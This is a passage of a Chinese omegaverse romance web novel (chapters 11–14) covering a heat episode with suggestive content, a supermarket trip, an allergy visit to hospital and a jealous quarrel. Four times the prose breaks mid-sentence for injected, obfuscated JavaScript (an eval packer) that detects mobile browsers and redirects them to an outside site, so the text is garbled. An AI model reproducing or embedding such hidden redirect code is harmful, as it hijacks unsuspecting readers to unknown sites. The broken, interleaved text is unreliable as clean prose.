Alpha在控制发热程度比omega稍微好一些,尤其是女A,同为一个性别,相对而言更能共情对方。 林絮肯定以前没有喜欢的人,女A一辈子只能标记一个人,除非对方洗掉标记。 不知道别的A面临这类诱导会不会立即扑上去。 也许得益于林絮腺体部分神经损伤,她还能啪地扇自己一巴掌。 你怎么能这样无耻! 林絮在心里大骂。 舒清柚是救命恩人!你真把自己当狗了吗?! 不能做出这种禽兽不如的事! 听到声响,舒清柚神情复杂地稍微抬首,眼角泪光流转,将坠不坠。 美人脸色酡红,娇艳欲滴,林絮心脏又不要命似的扑咚撞向胸膛,她狠命掐住自己的大腿。 她深吸一口气,下定决心,跪在舒清柚跟前。 “林絮,不,不能…” 舒清柚已经处在崩溃的边缘,只能寄希望于失忆Alpha仅存的良心,她捂住脖颈涨红的腺体,迷惘地请求林絮。 她的声线很好听,即使在乱情的境况,林絮想到舒清柚下午品茶时,手执清透杯盏,眼神温润。 倘若那镜面般的瓷器,摔碎一地,大约就是舒清柚现在引人犯罪的嗓音,也是omega对alpha的视觉和听觉涩/诱。 “你听我说,我不会标记你的,我们都很难受,所以你,可以先咬咬我吗?” 林絮也快疯狂了,她也需要抑制奔涌的发热期,想和舒清柚肌肤相贴… 你又在想什么乱七八糟的!她咬住自己的手背,另一只手,撕下形同虚设的抑制贴。 不忍直视的腺体涨到了一个指甲盖那么大,圆点红红的,分泌着水润的信息素。 其实,omega咬alpha的腺体,只能稍微缓解,发热很快就会卷土重来。 反之亦然。 舒清柚犹豫不决,林絮只是想要短暂的抒解吗? 尚在紧张中的林絮没等她回复。 像一只急需抚慰的小猫,拉下衣领,白皙泛红的脖颈明晃晃地暴露在舒清柚眼皮子底下。 “你别生我气了,也别再把自己咬出血,”林絮喉咙都在发抖,“我给你咬,好不好?” 舒清柚怔了一会,发现林絮不是在开玩笑,她很诚恳地想要帮她,林絮不好受。 O咬A除非为了情/趣,起不了很大抑制作用。 后颈腺体距离舒清柚的嘴唇只有不到三公分。 呼吸喷洒在林絮的颤巍腺体,舒清柚定定望着林絮,舔了下破皮的殷红唇瓣。 两人的chuan/息分不清彼此,正如她们的信息素,香甜掺和捣碎的yu/念。 林絮感觉自腺体为原点,有酥酥麻麻的电流感,扩及整个脖颈,她身体抖了下,气息紊乱。 她知道舒清柚大概率不会主动。 受不了了,林絮下意识并拢双腿,带着哭腔,咬住标记牙,闭眼,把腺体凑上前。 意料之内的触碰没有发生,林絮摔在地上。 她狼狈地看着躲开的舒清柚,再也忍不住,懵懵地哭了出来。 “为什么?就想要我标记吗?会后悔的,舒姐姐,你别做傻事啊。” “抑制剂…在隔壁房间,帮我…” 林絮还没哭两下,听到这话顿住了,脑袋空白了三秒。 随即,更大的燥意直冲天灵感,脸烫到可以煮熟鸡蛋了。 她气急败坏,想要骂点什么,还是选择闭嘴。 向门外爬了两下,发现可以站起来,忍着糟糕的腿部黏腻触感,快速奔到主卧。 打开灯,刺眼的白光一下子给她照地清醒大半。 舒绒奇怪,刚刚是不是大姐姐哇了几声,有点吵到她看电视了。 在有小夜灯床头柜下的抽屉,林絮找到一个药剂盒,装有一排针剂,观察保质期,就是最近。 原来舒清柚是来找这个,她居然自作多情以为对方想要自己但又矜持呢。 尴尬又不失礼貌的笑容在林絮脸上绽开。 算了,她很大度,啊,不生气不生气,生气皮肤会变差,生气会伤肝。 林絮怏怏不乐,可一回到次卧,熟悉的渴望袭击了她,小腹躁动不已。 她嘟着嘴,刚哭过的眼睛这会又泫然欲泣。 “喏,给,是我来帮还是你自己动手啊?” “你怎么不先打?” 舒清柚很了解Alpha发热期的欲望,和林絮在一起久了就习惯,一个随时随地不分场合都能发热的A。 想必,林絮真的用了很大的意志力。 她接过抑制剂,里面装着一管很轻的药液,安全感却重回体内。 很明显,林絮的不满显露在脸上,看来,还是有点没变的,喜怒无常,失忆也只是掩盖了某些重大缺陷。 舒清柚说不清此刻心情,至少这一刻,她对林絮还有点感激,她低低喘气,翕动唇瓣。 “谢谢。” 哇,舒姐姐对她笑了。 不对…这是? 林絮瞳孔骤然紧缩,忘记了正常呼气,脖颈的腺体,还在微微跳动。 舒清柚那柔软细腻的指腹,贴在林絮腺体上,安抚般地,揉了三下,林絮没数,也许是五下? 太舒服了,口中逸出喟叹。 林絮眯着双眸跪坐,双手撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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早知道不和妈妈待一块了,她怕。 林絮不怀好意地放大笑容,“过来呀,那要不你来看姐姐被你妈妈打?” 胡言乱语的,舒清柚在这两人间扫视一圈,舒绒怕到用双手包住眼睛,林絮正对自己挤眉弄眼。 是她低估了林絮的没心没肺,也缓了口气,林絮颇有见识地没重提,之前连舒清柚都无法理解的行为。 “我帮你打?” “不用啦,小事一桩,给我吧。” 林絮把抑制剂拿在手上,特别顺手,感觉以前做了好多次,她一下子就把药剂推了进去。 速度之快,舒清柚都担心她打错地方,倾身,带着点担心,拨开林絮的卷发。 腺体恢复为红豆大小,没有隆起,平坦地贴合着肌肤。 “嗯,没问题了。” 林絮默默低眉顺眼,舒姐姐是在关心她,可别想歪,想歪就是大笨蛋,林絮不动声息地移开脑袋。 “抑制贴?” 检查的时间有点长,舒清柚回过神,林絮的耳朵红了? 她撕开抑制贴,两手捻着边缘,示意林絮把脖子送过来。 “稍微抬下脖子,我帮你贴。” “这个我可以的呀,不劳烦你的。” 舒清柚不赞同,“你贴的不对,先前好几次都漏了信息素。” 这样啊,敢情她被嫌弃了,林絮在心里吐槽舒清柚,这人还怪好的咧。 “哼,好吧,那你轻一点。” 12. 第 12 章 好不容易捱到旖旎的心思从脑海中剔除,林絮拧巴着脸将母女俩赶出房间。 舒清柚很识趣,对于AO发热也有比林絮更深刻的认知,她难以言说的忍耐,林絮未必好到哪。 毕竟刚才林絮脖子红了小半边,眼神闪躲,状况内的急迫。 舒清柚还记得林絮的穿衣风格,正式的,突显身体曲线,唯独无家居风,今早她抱着故意的心态给林絮穿休闲装。 意外的合适,给人第一印象即邻家妹妹。 虽然林絮遏制不住长久养成的本能,压眉骨,目露狠戾,有点暴躁,总的而言,林絮现在够乖。 “我可以进来吗?” 林絮喝水解渴,深深苦恼身体某处黏乎洇湿的现状,短暂抚慰过的余韵尚留在体内。 洗手的念头一闪而过,要不要彻底解决掉呢? 苦思冥想了几分钟,敲门声把她惊醒,没拿稳水杯,溅了些到裤子上。 “等,等一下!” 一天天的净想些涩的,能不能好好恢复记忆了,林絮埋汰不入流的念头。 “咳,做什么?” 林絮从木地板爬起,抱起双臂,曲起一只腿,上身靠在床边,表现出无所谓的样子。 “我帮你拿了些换洗衣物,是我…” 包括底裤,一并交给林絮,走近两步。 舒清柚视线不自觉向下,打完药的舒清柚不比林絮恢复迅速,声音比日常更轻微,眼底浮着股冷流。 “打扰到你了吗?” 没继续说下去,林絮不明所以,疑惑了一声,顺着对方闪避的点,立即反应过来。 这水可真是好水,洒哪不好,偏偏在裤挡。 林絮强装镇定:“没,你来的正是时候。” 与其解释,不如摆烂。 林絮大方接过睡裙,还有内内,黑色蕾丝边。 她张嘴欲言又止,很难描述她此时心情。 明明舒清柚对她没意思吧,还用这种款来暗示,要不就是她总是想太多。 这就叫自恋加过度自信,林絮洗了会脑,对舒清柚说谢谢。 舒清柚:“明天带你去买睡衣,早点休息。” 林絮:“啊?又让你破费,钱够用吗?” 一针见血,舒清柚敛睫:“问这些没觉得多此一举吗?” 林絮心想,这不是理所应当么,难不成姐姐你吃老本啊,住这种地方有几个钱,但这样说的话会伤人自尊。 换了种方式:“你在哪上班?” 没急于回答,舒清柚等了几秒,在林絮真诚的脸上梭巡。 点漆般的瞳仁,专注望去,在很早之前,舒清柚都被她所吸引,就像月球被牢牢绑在地球轨道运行。 致命,却无力抵抗。 舒清柚语调婉转,尾音稍上扬:“在关心我吗?” 倒把林絮问住了,怎么这话从舒清柚嘴里说出来有点暧昧,带了些挑逗。 明明舒清柚挺冷脸的,对她连一个笑容吝啬到不行。 一定是错觉,林絮很快想通,她是闲得发慌了那么在乎别人。 “好啦,我随便一问,舒绒她还好吗,怕打针哦,哈哈。” 调侃人家女儿确实很差劲,林絮慌忙辩解:“我意思是,哪个小孩不怕打针呢?” 真是说多错多,从晚上到第二天早上,舒清柚都没对林絮玩笑话予以回复,林絮郁闷了。 不过当她吃到舒清柚给她煎的鸡蛋培根,心情发生转换:“这个鸡蛋流心,哇,好嫩,培根,脆脆!” 舒清柚并没有对林絮离谱的夸奖有额外感想:“不必,很普通的早餐罢了。” 林絮抬眸,舒清柚倒了杯鲜榨橙汁推到碗碟边,宽松藏蓝衬衫袖口卷起,黑檀木手链圈在清瘦皓腕,黑白相间,肌肤在晨曦沐浴下白到发光。 林絮心脏又无序咚了一下,勉强吞下培根,收回视线,闷了口酸甜果汁。 “哦,谢谢。” 今天舒清柚搭配浅灰马甲针织背心,黑色半身裙,最后披上外套,像是刚要出门上班的职场白领。 已经帮舒绒换好外出服,林絮思来想去,只能讨好舒绒。 “我来抱我来抱!” 她一个箭步,跑到舒清柚面前把舒绒抢了过来。 舒绒被衣服包成小面包,头发细软,林絮特别主动热情,在她脑袋上蹭摸,又捏了下白里透着红的小脸蛋。 “你妈妈把你生的真好看。” 瞧瞧,多会夸人,林絮为自己感到得意。 “舒姐姐,我说的没错吧。” 舒清柚没管林絮的谄媚,乌发被外套压住些许,她抬手拨出。 莫名地,林絮察觉到舒清柚纤长的无名指没有戴戒指,舒姐姐的Alpha呢,整个房子也没有相片,当然,有可能放在相册里。 小孩刚出生,都会拍照留念,不知为何,林絮不太想问,思考这些会喘不上气,太阳穴还发涨。 舒清柚的目光在林絮脸上停留一瞬,回身拿起车钥匙,在玄关穿好鞋。 “嗯,她是很可爱。” 车没开多久,来到超市,城郊外天空碧蓝,和水洗过差不多,冷空气加深,林絮呵出一团小白雾。 舒绒大部分情况下都要妈妈抱,林絮怎么都不撒手。 怀里的小东西在抗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325876|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒,她抛出一个舒绒无法拒绝的理由。 “姐姐待会给你买巧克力。” 说了也没用,虽然舒绒小,不至于傻,之前的糖的诺言还没兑现,她鼓起小包子脸,发出嘤声。 林絮听懂的样子,她把购物车从舒清柚出,再将舒绒放到坐板上,先行出发。 “我带她买点吃的,你帮我去选衣服啊,等会你来找我们。” 超市卖衣服的在一楼,杂货日常食品类二楼,舒清柚不明白她急什么,但脸色很好有活力的模样,连带她心情也畅快了几分。 算了,让她们去玩。 舒清柚找到超市边手机店,年轻的老板看到有美女,看电视的无聊感一下子精神起来。 她拍了下玻璃柜:“小姐姐,要什么手机?” 舒清柚拿出屏幕裂到惨不忍睹的手机。 “开不了机,能修好吗?” 店老板一眼就看出门道:“难说,这背面感觉被砸凹了,水渗进主板。” 她拿镊子撬开稀烂的背板,把头埋到手机上方一点的地方,用激光笔照着。 “哟,这电容也爆了,等会啊…闪存芯片也许能用,还修吗小姐姐。” 那天,林絮情急之下打了她电话后,舒清柚到现场时手机就成这样,中途必然发生过重大事件,和林絮家里人脱不开关系。 如果随便找一家店恢复数据,里面的内容也不该被看到曝光。 舒清柚果断拒绝,“谢谢,先不修。” 但也不能天天带着林絮出门,她不是她宠物,舒清柚到底还是买了只手机。 提着手机盒,舒清柚给她挑了几件棉质睡衣裤,去二楼和林絮汇合。 林絮推着舒绒在零食区选了个齐全,什么饼干,蛋糕,膨化食品油炸食品,林絮都觉得以前没见过没吃过。 “绒绒想吃吗?你肯定想要对不对,买买买!” 反正昨天舒清柚言外之意让她别考虑钱的问题,林絮选的不亦乐乎。 但舒绒都还没从满车的包装袋震惊中缓过来,又是一袋五彩斑斓大礼包在她眼前落下,她快没地方坐了… 巧克力和软糖都选好了,林絮陪着舒绒在收银台方向等,没多久发现一道熟悉的身影,她抬手挥了挥。 超市白炽灯很亮,舒清柚迎着光,皮肤白到几近透明,林絮紧盯住不放。 舒姐姐的腿生的又长又直,走路姿势不外八,像猫咪走直线,没模特走t台那么张扬,但就是透着股从容不迫的味道。 没料到林絮口味这么丰富多彩,满满当当一车吃的,舒清柚和她对视半晌,忍不住逗她。 “……你是小猪。” 13. 第 13 章 意识到这时候还在犯花痴,林絮真想给自己一耳光。 她顶嘴:“难得来一次,不得大采购啊。” 随即她发现了手机盒和睡衣,提袋子的手指看起有些苍白无力。 林絮脑子一热,把这些都塞到舒绒怀里,牵起舒清柚的手,两人体温差明显,林絮心疼,果然很凉。 “舒姐姐,你手很冷,我帮你暖暖。” 握紧舒清柚柔软的手,凑近在她手背哈气。 舒绒抱着个袋子不知所云,大姐姐为什么要亲妈妈的手啊?! 小小的脑袋大大的震惊。 “林絮…” 舒清柚促狭地唤她,超市人来人往,她们在紧急通道门口,两个女人带着孩子,大约都会猜测她们是一家人。 “嗯?” 林絮嫌不够,双手包住她的,搓了搓,摩擦生热嘛,她想的很简单。 “买好了就走。” 舒清柚手被短暂地捂热,可她周身气压骤然降低,她抿住唇,林絮眼底荡着星星点点的亮 而她开始反感林絮自来熟的亲密,条件反射地想起一些不快回忆。 “哦,好。” 怎么舒清柚和晴转乌云的天一样,刚才还好好的呀,好难懂,林絮悻悻然推起购物车去收银台,走了几步,转身。 “我是看在你给我买手机的份上,作为小小的报答。” 舒清柚双手抄在口袋里,有条不紊跟上,用着只有她自己能听到的音量。 “我一直都知道。” 结账,分装,林絮留了个心眼在总计价屏幕,最终数字结算,这么多零食居然这么便宜?! 不过她还是必须一人提着四个大塑料袋,哭丧着脸,东西不重,就已经充分表现出她贪嘴的事实。 “你走慢点,这里还有给你和绒绒买的。” “她不吃薯片饼干,我也不吃。” 舒绒不认可,她轻轻扯了下妈妈的衣服,呜了声,舒清柚无视女儿对没吃过的零食渴求,飘过一句。 “她会带坏你。” 不对呀,妈妈你之前还说大姐姐是好人。 舒绒在舒清柚怀抱里,下巴枕在肩上,林絮笑着对她做出口型:巧.克.力. 舒清柚把舒绒安置好,几袋零食扔到后备箱,林絮则弓身在塑料袋里面扒拉。 “找好了吗?” 瞥了眼,林絮后脑勺头型饱满,栗色卷发没有用护理,有几根毛发炸了起来,强迫症如她,想上手帮忙。 这时,林絮弯起嘴角,朝她扬着战利品。 “找到啦,巧克力,软糖,好烦呐,收银员应该把这些小东西放最后结的。” 瞬间收起要帮林絮顺毛的冲动,舒清柚垂下眼睑,一如既往回应。 “上车。” “好哦,我坐后面。” 冷空气隔绝在外,舒清柚双手放在方向盘上,观察周围车辆,林絮已经在和舒绒展示小零食。 “你没买坚果吧。” “啊?坚果。”林絮稍微回忆了下,“没有没有,舒姐姐要吃的话我现在去买呀。” 舒清柚没再多问,车子平稳起步,她听见后方窸窣地拆开包装袋,还有林絮自然状态清亮的嗓音。 “你吃这个,我吃这个,我们就是好朋友啦。” 把小只的白巧克力放到舒绒手里,舒绒当即申出舌头舔了舔,好甜,喜欢,大姐姐不是坏人。 “嘿嘿,没骗你吧。” 林絮戳戳舒绒的脸,手感不错,想着自己的皮肤,她咬了口巧克力,还有坚果粒,蛮好吃的。 有点痒,林絮在自己脸上挠了两下,贴到舒绒边上。 “绒绒,你为什么都还不会说话呀?真奇怪。” 不想说,舒绒继续舔巧克力,大姐姐有点恼人。 “我好像听别人说,你这岁数的小孩最容易得自闭症,绒绒你不会生病了吧!” 林絮故作惊讶,但就算是小孩也不喜欢被诽谤,她鼓起脸转头,一下子被吓到了,张开嘴,松手,巧克力掉在地上。 “怎么这么不小心啊,我这还有,来,我掰给你。” 说着就要找纸巾把地上的捡起来扔掉。 “舒姐姐,扶手盒里有纸巾吗?” 听到舒绒发出奇怪的嘤嘤,她脸更痒了,不免语气加重。 “急什么,都给你给你。” 舒绒赶忙缩起小脑袋,舒清柚不经意从后视镜望去,蓦地眉头紧蹙。 “不准给她吃这个!你也不准!” 她重重踩下油门。 声音回荡在车厢壁,听的林絮后背猛然绷紧,她不清楚舒清柚有这样惊惶的时候。 “我,我怎么了?” 做错什么了,林絮使劲挠了挠脸,好痒! “住手,你过敏了,后视镜。” 都怪她,忘了林絮现在和白痴差不多,没提醒林絮坚果过敏,舒绒和林絮一样的过敏源。 天哪,这镜子里的脸是她吗,脸上和长荨麻疹似的,一大片红点,触目惊心。 她抱着双臂颤颤发抖,感觉有石块压在她头上,脑袋嗡响涨痛,随着汽车颠簸过减速带,她呜哇一下哭了。 “舒姐姐,我要死了,你开快点,快点啊!” 舒绒还装不下这么大的信息量,什么是要死了?肯定不是好词。 以前怎么没看出林絮有多惜命,烟酒样样不落。 舒清柚心底生出烦恼,她时刻注意路况,还要安慰林絮。 “不会死。” “真的吗?” 林絮哭地打了个嗝,还想再确认,舒姐姐看起来很靠谱,不会糊弄她。 也许受到了感染,舒绒也跟着打了个嗝。 不敢面对舒绒,林絮挪到车位边角。 舒清柚没法,和她讲明白,“你有呼吸困难,有吞咽窒息感吗?” 小心试着吸了几下空气,咽口水,确定了。 “没有。” “那就还能忍。” 林絮安分了,细细想来舒清柚的确忧心她,不仅不害怕,还有点小开心。 如果一直过敏,是不是舒清柚会一直关心她。 她发了会呆,脸上的痒也减轻了。 忽然一大股冷风灌进她衣领里,哭过的眼睛被风刺地生疼。 不自禁溢出生理性泪水。 她揉揉眼睛,舒清柚帮她开车门,一只手伸来。 “有力气吗,我扶你。” “有。” 说完,林絮口风突变,攥紧舒清柚,低声轻喃。 “不行不行,我虚脱了,舒姐姐,我怕,腿好软。” 装的太明显,明明脸上红斑消了点,不过还是来趟医院放心。 清淡的沐浴乳气味一下子扑到鼻尖,舒清柚肩上多了份不属于自己的重量。 毛发丝丝缕缕擦过她的脸颊,小腹马上有了潮湿的生理状况。 她皱了皱眉,将林絮推开一些。 “站好,不准卖惨。” 林絮恋恋不舍地离开温香软怀,好想一直依在舒姐姐身上。 可她好冷漠,果然要过敏严重点才能博取丁点同情吗? 她撇嘴。 “好吧…真小气,靠一下又不会少块肉。” 舒清柚帮舒绒戴好儿童口罩,在窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325877|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口处用妹妹的名义帮林絮挂号。 “等叫到这个名字,明白吗?” 舒清柚领着她来到皮肤科楼层。 “我又不傻,我识字的,舒晚柠嘛。” 林絮无语了,担心无聊,她特地把新手机掏出来开机,但没有手机卡,她在金属板凳上焦急难安。 “舒姐姐,给我开个热点?” 进医院了,还不忘玩,舒清柚拗不过林絮,手指飞快点击设置栏,几下搞定。 林絮小声欢呼,“嗯嗯连上了,我可以冲浪啦。” 不对林絮发表任何感想,舒绒不喜欢医院的消毒水味,戴了口罩还是能闻到,不满地钻到舒清柚胸上。 凑巧林絮转头,可把她羡慕坏了,舒姐姐发育的真好,比起她的小馒头,舒姐姐让她有点眼红。 当小孩真好…… 护士站边,一位Beta白大褂医生和护士交待事情,回身走向电梯,看到熟人,转了个方位。 “这个好厉害啊,你看这猫它真在后空翻,绒绒你看。” 林絮拽着舒绒衣服示意她抬起脑袋,舒绒睁开眼睛,画面里一只狸花猫在街上走着走着,突然间后空翻。 两个脑袋聚在一起,愉快刷视频看萌宠,舒清柚承认了,这俩品味出奇一致。 “舒清柚?” 旁边传来陌生声音,舒清柚抬眸,医生本来不确定,现在见到正脸,是她没错了,医生心情雀跃。 “我,徐文婧,我们上过同一个课,我选修过陶瓷,几年前我还去过你工作室呢。” 舒清柚专注耐心地挂起微笑,老实说,她对这个名字没印象。 “嗯,好久不见。” “你果然还记得我啊,好感动啊。” 这可是当时A大校花啊,徐文婧认真打量,比起大学时期青涩的温婉,现在就像一颗溢满汁水的水果,她没法不心动。 “舒姐姐~怎么还没到我啊,我想回家了。” 林絮完全失去玩手机的兴致,噘起嘴抱着舒清柚胳膊撒娇。 她挑衅地看了眼徐文婧,愈发张狂。 “回家你给我做好吃的,舒姐姐,”林絮摇了下舒绒手指。 “绒绒也要的对不对?” 舒绒只是机械地同意。 林絮很不爽,都这么表示和舒清柚的亲密,你这个徐医生也应该有点自知之明吧。 快点滚开! 舒清柚:“要先看医生。” 这A脸上还挂着彩,徐文婧感受到她对自己的敌意,问了嘴。 “她的脸,还好吧。” “过敏,没事的。” 徐文婧点点头,她也是顺道来帮熟人插个队问诊,没法忽略舒清柚抱的小孩,再结合女A对舒清柚的占有态度。 “这是你的孩子吗?清柚。” 什么啊!这就叫清柚了,林絮眉头皱地和小山一样高,如果她是座火山,现在就要爆发了。 她都没叫过她清柚呢! 舒清柚也不喜欢萍水相逢的人这样称呼她,出于礼貌,她点了点头。 “嗯。” “那她是你妻子?” “不是。” 话也没错,但林絮就是烦闷,不是妻子又如何,单身就该被你随意勾搭么? 此时,广播正好叫到舒晚柠的名字,舒清柚看林絮不为所动,提醒。 “快去。” “不要不要,你陪我嘛,舒姐姐~” 叫的黏黏糊糊,舒清柚心头泛起异样,虽然不知道林絮的意图,她还是同意了。 起身,却又被徐文婧喊住。 “清柚,加个微信吧。” 14. 第 14 章 她一直在和内心较劲,导致完全听不进医生交代的治疗过敏性药物副作用,反正最多上吐下泻。 林絮心不在焉,为什么舒清柚不陪她。 就一定要加那医生联系方式吗,舒清柚不懂拒绝,还是她本身就接受对方明晃晃的觊觎? 拿着处方,林絮满腔怨气推门而出,迎面舒清柚牵舒绒的小手,投来薄淡的一眼,林絮撇开脸。 “医生怎么说。” 舒清柚走近,林絮白净的脸红点减少,说明没大碍,“要抽血打针或者吃药?” “你还知道关心我啊。” 林絮迈开步子绕过舒清柚,没走几步就发现缺钱付医药费,只好尴尬退回去,把处方单展开,在上头指指点点。 “喂,你去付钱,就上面的药。” 阴晴不定的,舒清柚低声应着。 处方单上写着病人诊断结果以及对应药物,可可碱衍生触发信息素过敏。 据她所知,林絮并没有信息素过敏症状,只有皮肤明显。 舒清柚认真道:“没有其他要注意的?” “不然呢,你不相信我!” 脸和小花猫似的,舒清柚眼尾弧度弯了下,没有在林絮身边,产生不安心态了吧。 “信的,你戴上这个。” 舒清柚从口袋拿出白色口罩,林絮瞟了眼,不假思索道:“你帮我戴。” “脸残了还是手废了?” “你!” 分明就是在嘲笑,林絮觉得都快气出结节了,她扯过包装袋,哗啦撕开,口罩遮住红斑。 理直气壮地冲舒清柚闹脾气:“再见!” “等会,”舒清柚把舒绒塞到她手上:“你和她去停车位等我。” 林絮还没开口,舒清柚的指尖在她脸上似有若无地碰了下。 “还是好看的。” 微凉柔软的指腹,林絮呼吸慢下来,这感觉转瞬而逝,林絮自我排解,舒清柚只是表达基本关心。 但林絮心情稍微轻快了些,她默默嘟囔,只有一点而已,等回去再盘问那个医生的意图。 几分钟就回到车边,百无聊赖在车子边等舒清柚。 清冽的空气好歹让人心情缓和点,她才把目光放到舒绒身上,像拎小猫一样双手插到舒绒腋下。 舒绒真的好轻,估摸着也就十几斤。 她不太懂三岁小孩平均体重,兀自判断这孩子和舒清柚一样,瘦削地像病秧子。 “要是你会说话就好了,你妈妈到底和那个白大褂聊什么了?” 她听不懂呀,但是舒绒觉得快被林絮摇晕了,她嘤了声,林絮放过她,拍拍她脑袋,把她放到车头上。 让舒绒拉住她的衣服别放,免得这小家伙乱跑。 与其一直挂念这些,不如考虑Beta和Oemga在一起的可能性,她烦躁地薅着后脑头发,低头在手机搜索。 【Beta和Omega可以谈恋爱吗?】 随着手指不断滑动,心态也一直在下坠,不多时,情绪降成一块无实体石头,沉甸甸压在心头。 舒清柚出了医院大楼,一下就发现身高腿长的林絮,她不由放慢脚步。 林絮穿着黑色飞行员夹克,下身深色牛仔裤,慵懒随意一靠,栗色长卷发披在脑后。 由内而外的矜贵惹人注目,可能林絮不在意,周围有不少人都在偷偷瞧她。 但林絮不言语的时候,有种让人不敢靠近的凌厉感,也就无人上前搭讪。 回到车上,林絮依然抱着双臂作防御姿态,她不想藏住郁闷,干脆都表现在脸上。 舒清柚主动示好:“这药,饭后一片。” 林絮假装漫不经心,脑袋搭在副驾驶窗上,有气无力。 “哦。” “有副作用,会让Alpha信息素感知能力提高十倍。” 这么多?林絮皱了下眉,罢了,反正她腺体本来就有紊乱毛病,她才不想管。 “我就吃一次,别瞎操心了,谁稀罕标记你。” “......好。” 舒清柚轻描淡写掠过,林絮一万个不乐意,她想博取关注,却不曾考虑舒清柚闷葫芦的性格。 她重叹一声,拿余光偷摸瞥了眼对方,怎么都不来关爱她呀。 掏出手机,浏览论坛帖子,“唉!” 老实讲,养绒绒都没这么辛苦,时刻都需要她来关注心理状态,舒清柚产生或许不适合养孩子的错觉。 她斟酌着词句,拇指在方向盘皮套上画着圈。 “我惹你不开心了?” 还算有点良心,林絮暗自诽谤了舒清柚几句。 “倒也不是,我肚量大,我就是刚才在网上看到个帖子。” 舒清柚目视前方,从容道:“方便讲吗,我抽不出手。” “没事,我念给你听,秀恩爱的,大概内容稿主她是Omega,和Beta一见钟情。” 舒清柚很少去看两性关系帖子,可林絮一副将这些放在心上的样子,忧愁不已。 “她们秀恩爱,你很在意吗?” “我是问你BO在一起,你怎么看待,”林絮又怕暴露吃醋小心思,继续飞快接上。 “主要不止一个帖子,我看网上还蛮多同类型的,BO、OO、AB、AA恋。” 舒清柚颔首表示明白了,沉吟一小会。 “人和人之间,应当看重思维共鸣,不能光靠信息素性吸引。” 一句话让林絮心沉了下,“那你和谁有过共鸣吗?” 舒清柚想了想,“有。” “谁啊?!” 她紧张地等待舒清柚的答案,但舒清柚饶是卖关子,就不告诉她。 难道是? 林絮一直回避着那个人,她期期艾艾地问:“是绒绒的Alpha妈妈吗?” 见舒清柚没有反驳,她再度哀伤,呈现出老气横秋的神态。 “别唉声叹气,会不漂亮的,我意思是我老师,她是位可靠尊敬的长辈。” 舒清柚联想到林絮从医院开始不对劲,福至心灵,她状若随口提及。 “我目前没有和Beta交往的打算。” 林絮眼珠子一转,这些可把她取悦到了,林絮窃喜,又重新品味着舒清柚说的。 不对啊。 林絮穷追不舍:“目前?那你干嘛给她微信。” “她有套海外淘的瓷器,邀我去帮忙观成色。” 这勾搭的意思就差写在脸上了,林絮置气,还观成色,是看上你的美色才对。 林絮开始口不择言:“说到底你还是加了,你怎么能这样?” 即使加上好友又如何,舒清柚本着礼貌加校友的心态,当然不至于厚脸皮平白无故答应她人邀约。 舒清柚反感林絮无端的占有欲,时别四年,她们已经不存在任何关系。 她只是看在林絮一无所知的份上,不欲与之计较。 冷着声音:“和你无关。” “你,”林絮抿了抿唇,鼻头逐渐酸涩,“好吧,到时候别被她欺负了。” 除了你,谁还会如暴君般残暴欺负我? 舒清柚没有再说什么。 到家后,林絮的脸色难看,重重地关上车门,车身都颤抖了下,面临遭殃的还有家门。 多亏舒清柚及时制止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325878|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“认清现状,你现在没钱赔我。” 林絮更是朝她甩脸,提着四大袋零食,随便找了个空地扔下不管。 不知发生什么的舒绒离她远远地,生怕被林絮气焰烧着。 舒清柚一向不是低头的类型,她看着林絮发泄似的在沙发上抓耳挠腮,只问她晚餐想吃什么。 饿死我得了,林絮闷闷地想。 转念间,又觉不该和胃过不去,但没钱的事实,让她脊椎骨都弯下不少。 “我反正穷鬼一个,你就喂我点白馒头稀饭饿不死我就行。” “好。” 惜字如金,你嘴巴是金子做的呀! 林絮看舒清柚转身,做出吐舌头的鬼脸。 很不巧,舒绒正面对上林絮,显然很一言难尽,大姐姐对妈妈不好。 林絮立即用眼神警告舒绒不准闹。 被盯住的舒绒脖子瑟缩,以后她不要和大姐姐玩了,大姐姐是坏人。 “绒绒你过来,喜欢什么电视,姐姐陪你。” 舒绒攥着妈妈的裙子,无声求助。 其实,舒清柚明白,林絮是以往的占有欲作祟,目前的林絮带有担心的成分质问她。 和现在的林絮冷战,等同伤敌一千,自损两千。 她安抚着女儿,“乖,大姐姐不会欺负你,你先去看动画片,妈妈要做饭。” 在潺潺流水声中,不多时,厨房传来饭菜香,林絮不经意看一眼,有肉! 她暗喜,舒清柚就是在意她。 